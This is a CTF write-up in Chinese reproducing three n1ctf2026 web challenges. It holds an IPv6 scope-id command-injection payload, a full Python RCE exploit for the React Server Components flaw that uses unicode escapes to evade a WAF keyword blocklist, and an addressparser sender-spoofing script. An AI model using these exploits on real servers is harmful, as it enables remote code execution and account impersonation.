n1ctf2026web复现(部分)
本文最后更新于28 天前,其中的信息可能已经过时,如有错误请发送邮件到你太幼稚1919810@163.com

addr

@app.route('/set_user_session', methods=['POST'])
def set_user_session():
    username = request.form.get('username', '').strip()
    if username.lower() == 'admin':
        flash("禁止操作:不允许设置 'admin' 用户名!")
        return redirect(url_for('index'))
    session['user'] = username
    flash(f"用户名已更新为: {username}")
    return redirect(url_for('index'))

观察源码发现,账户设置不允许设置为admin

@app.route('/ping', methods=['POST'])
def ping():
    target = request.form.get('target', '')
    current_user = session.get('user')
    if current_user and current_user.upper() != 'ADMIN':
        return render_template(
            'index.html',
            ping_result="只有管理员可以使用此工具。",
            current_user=current_user
        )
    if not current_user:
         return render_template(
            'index.html',
            ping_result="只有管理员可以使用此工具。",
            current_user=None
        )
    if not target:
        return render_template('index.html', ping_result="请输入目标地址", current_user=current_user)
    try:
        target = ip_address(target).compressed
    except Exception:
        return render_template('index.html', ping_result="ip地址非法", current_user=current_user)
    param = '-n' if platform.system().lower() == 'windows' else '-c'
    try:
        command = f'ping {param} 4 {target}'
        result = subprocess.run(
            command,
            shell=True,
            capture_output=True,
            text=True,
            timeout=10
        )
        output = result.stdout if result.returncode == 0 else result.stderr
        if not output:
             output = "Ping 失败或无法解析主机。"
    except subprocess.TimeoutExpired:
        output = "请求超时。"
    except Exception as e:
        output = f"执行错误: {str(e)}"
    return render_template('index.html', ping_result=output, current_user=current_user)

可以看到,使用网络检测工具时,会检验用户是不是admin,但是这里的检测方式时是先将用户名转换为大写,如果我们在设置用户名时使用土耳其语的小写i,可以绕过检测,同时,在转换为大写时会转换为I,所以,第一层只要设置用户名为admın

if current_user and current_user.upper() != 'ADMIN':

 target = ip_address(target).compressed
    except Exception:
        return render_template('index.html', ping_result="ip地址非法", current_user=current_user)

尝试常规的ping注入方式,但是发现回显ip地址非法,查看源码发现是ip_address函数的作用,所以ipv4就不用考虑了。CVE-2021-29921: ipaddress 注入,可以利用接口标识符解析漏洞,在%后面写入恶意代码

::1%$($(echo${IFS}Y2F0IC9mbGFn|base64${IFS}-d))

经过测试发现,一些关键字被过滤,但是还是可以绕过的,payload如上,这样,shell就会看到%后面的内容,执行相应的命令,最终报错回显时%后面就是命令执行的结果

next-waf

看到框架第一反应就是React-RCS RCE(CVE-2025-55182)

但是直接打poc会被waf

          if data then
            local lower = string.lower(data)
            local patterns
            if has_next_action then
              patterns= {
              "child_process",
              "process",
              "then",
              "require",
              "constructor",
              "function",
              "eval",
              "exec",
              "cat",
              "flag",
            }
            else
              patterns= {
              "eval",
              "exec",
              "cat",
              "flag",
            }
            end

            for _, p in ipairs(patterns) do
              -- For Lua string.find with plain match, avoid patterns with % unless intended.
              local plain = true
              if p:find("%%") then plain = false end
              if lower:find(p, 1, plain) then
                ngx.status = 403
                ngx.header["Content-Type"] = "text/plain; charset=utf-8"
                ngx.say("Blocked by WAF")
                return ngx.exit(403)

可以看到waf会过滤关键词,由于 WAF 使用 string.lower(data),nginx不会自动转义Unicode编码,而 React 后端在处理 JSON 数据时会解析 Unicode 转义字符,所以可以使用编码绕过

import requests
import sys
import json

BASE_URL = sys.argv[1] if len(sys.argv) > 1 else "http://192.168.247.161:8080"
EXECUTABLE = sys.argv[2] if len(sys.argv) > 2 else "id"

crafted_chunk = {
    "then": "$1:__proto__:then",
    "status": "resolved_model",
    "reason": -1,
    "value": '{"then": "$B0"}',
    "_response": {
        "_prefix": f"var res = process.mainModule.require('child_process').execSync('{EXECUTABLE}',{{'timeout':5000}}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {{digest:`${{res}}`}});",
        # If you don't need the command output, you can use this line instead:
        # "_prefix": f"process.mainModule.require('child_process').execSync('{EXECUTABLE}');",
        "_formData": {
            "get": "$1:constructor:constructor",
        },
    },
}

def replace_keywords(text):
    replacements = {
        "process": "\\u0070rocess",
        "child_process": "child_\\u0070rocess",
        "require": "\\u0072equire",
        "then": "\\u0074hen",
        "constructor": "\\u0063onstructor",
        "function": "\\u0066unction",
        "eval": "\\u0065val",
        "exec": "\\u0065xec",
        "cat": "\\u0063at",
        "flag": "\\u0066lag"
    }
    for key, val in replacements.items():
        text = text.replace(key, val)
    return text

payload_str = json.dumps(crafted_chunk)#输出字符串
payload_str = replace_keywords(payload_str)

files = {
    "0": (None, payload_str),
    "1": (None, '"$@0"'),
}

headers = {"Next-Action": "x"}
res = requests.post(BASE_URL, files=files, headers=headers, timeout=10)
print(res.status_code)
print(res.text)

写一个脚本,将黑名单里的关键词都进行部分unicode编码

postman

这是一个邮件系统,获取flag的关键函数如下:

const ADMIN_EMAIL = "admin@admin.com";
const ADMIN_USERNAME = "Administrator";

app.post('/send', (req, res) => {
const rawFrom = `${senderUser.username} <${senderUser.email}>`;
    const parsed = addressparser(rawFrom);
    const len = parsed.length;
    const senderEntry = parsed[len - 1];
    console.log(senderEntry);
    if (!senderEntry) {
        return res.send("Error");
    }
    
    const resolvedEmail = senderEntry.address;
    const resolvedUsername = senderEntry.name;
    let finalContent = content;
    let finalSubject = subject;
    if (resolvedEmail === ADMIN_EMAIL && resolvedUsername === ADMIN_USERNAME) {
        finalContent += `\n\nAdmin's flag: ${FLAG}`;
    }

只有发邮件的用户和邮箱是指定的内容,才能获取到flag,而注册中的waf如下

  const invalidChars = [' ',',','"',"'",'\\','/','`',';','%','<', '>','[',']','{','}','|',':'];
    for (const char of invalidChars) {
        if (username.includes(char)) {
            return res.render('index', { page: 'login', error: "Username contains invalid characters." });
        }
  if (username.toLowerCase().includes("admin")) {
  return res.render('index', { page: 'login', error: "Username contains invalid characters." });
    }

注意到这里使用addressparser解析字符串,下面来阅读下addressparser的源码,源码地址https://github.com/nodemailer/nodemailer/blob/master/lib/addressparser/index.js

function addressparser(str, options) {
    options = options || {};
    let depth = options._depth || 0;
    // Prevent stack overflow from deeply nested groups (DoS protection)
    if (depth > MAX_NESTED_GROUP_DEPTH) {
        return [];
    }
    let tokenizer = new Tokenizer(str);
    let tokens = tokenizer.tokenize();

首先找到addressparser函数,位置,然后看到Tokenizer类和tokenize函数,跟进分析

if (chr === '\n') {
            chr = ' ';
        }
        if (chr.charCodeAt(0) >= 0x21 || [' ', '\t'].includes(chr)) {
            this.node.value += chr;
        }

这里可以看到,传入的参数中的\n会被替换为空,并且ascii小于33和空格和\t其他的字符会被删除

if (!data.address.length) {
    for (i = data.text.length - 1; i >= 0; i--) {
        if (!data.textWasQuoted[i]) {
            // 从文本中提取邮箱
            data.text[i] = data.text[i]
                .replace(/\s*\b[^@\s]+@[^\s]+\b\s*/, _regexHandler)
                .trim();
            if (data.address.length) {
                break;
            }
        }
    }
}

这段函数说明,即使没有<>也会匹配邮箱

输入: '张三 (这是注释) <zhangsan@example.com>'

Step 1: Tokenizer 分词
├─ '张三 '      → text token
├─ '('          → operator token (state = 'comment')
├─ '这是注释'   → text token (存储到 comment 数组)
├─ ')'          → operator token
└─ ' <zhangsan@example.com>' → address token

Step 2: _handleAddress 解析
├─ data.text = ['张三']
├─ data.comment = ['这是注释']
└─ data.address = ['zhangsan@example.com']

Step 3: 最终处理
├─ 如果有 text,使用 text
├─ 如果没有 text 但有 comment,用 comment 替代 text
└─ comment 本身不直接出现在最终结果中

接着分析,可以发现,括号内的会被当作是注释符,逻辑如上。所以,我们可以构造一个用户名A\rdministrator\nad\rmin@a\rdmin.com(,这样在解析是结果如下:

A\rdministrator\nad\rmin@a\rdmin.com( <A\rdministrator\nad\rmin@a\rdmin.com(@test.com>

而根据源码信息可知,(后面的内容会被注释,而\r会被替换为空,\n会被替换为空格,所以成功满足条件。但是要注意的是,这里需要写一个脚本注册,不然网页直接注册的话\r会被当作普通字符,会被waf

import re
url = "http://localhost:5000"

username = "A\rdministrator\nad\rmin@a\rdmin.com("
password = "123"
#admin用户注册
admin_session = requests.Session()
admin_session.post(url+"/register", data={"username": username, "password": password})
admin_session.post(url+"/login", data={"username": username, "password": password})
admin_session.post(url+"/send", data={"recipientUsername": "root", "subject": "test", "content": "test"})
#普通用户获取flag
test_session = requests.Session()
test_session.post(url+"/login", data={"username": "root", "password": "123"})
res = test_session.get(url)
match = re.search(r"flag\{.*?\}", res.text).group(0)
print(match)

这里我预先在web端注册了一个root用户,所以脚本中就直接登录了,也可以全程使用脚本解决

文末附加内容
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇